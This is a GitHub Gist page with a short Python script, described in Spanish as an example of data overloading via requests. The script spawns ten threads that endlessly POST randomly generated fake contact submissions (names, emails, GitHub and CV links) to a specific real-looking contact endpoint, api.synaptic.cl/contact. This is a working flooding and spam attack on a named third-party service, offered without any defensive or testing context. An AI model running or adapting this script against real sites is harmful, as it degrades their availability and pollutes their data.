Last active
April 20, 2018 23:22
-
-
Save NekoTashi/5939d9edbb43fdf7c59198c779db3176 to your computer and use it in GitHub Desktop.
Ejemplo de sobrecarga de data por medio de requests.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
""" | |
!python 3 required | |
- pip install requests | |
""" | |
import random | |
import requests | |
import string | |
from threading import Thread | |
def random_words(length): | |
return ''.join( | |
random.choice(string.ascii_lowercase) for _ in range(length)) | |
def overloading_synaptic(): | |
headers = { | |
'Accept': 'application/json', | |
'Content-Type': 'application/json', | |
} | |
while True: | |
random_string = random_words(random.randint(10, 20)) | |
data = { | |
'name': '{}'.format(random_string), | |
'city': '{}'.format(random_string), | |
'email': '{}@{}.cl'.format(random_string, random_string), | |
'github': 'https://github.com/{}/'.format(random_string), | |
'resumen': '{}'.format(random_string), | |
'other': { | |
'employer': '{}'.format(random_string), | |
}, | |
'cv': 'http://{}.com/{}.pdf'.format(random_string, random_string), | |
} | |
try: | |
response = requests.post( | |
'http://api.synaptic.cl/contact', json=data, headers=headers) | |
print(response.status_code) | |
except: | |
print('Error.') | |
if __name__ == '__main__': | |
threads = [Thread(target=overloading_synaptic) for _ in range(10)] | |
[thread.start() for thread in threads] |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment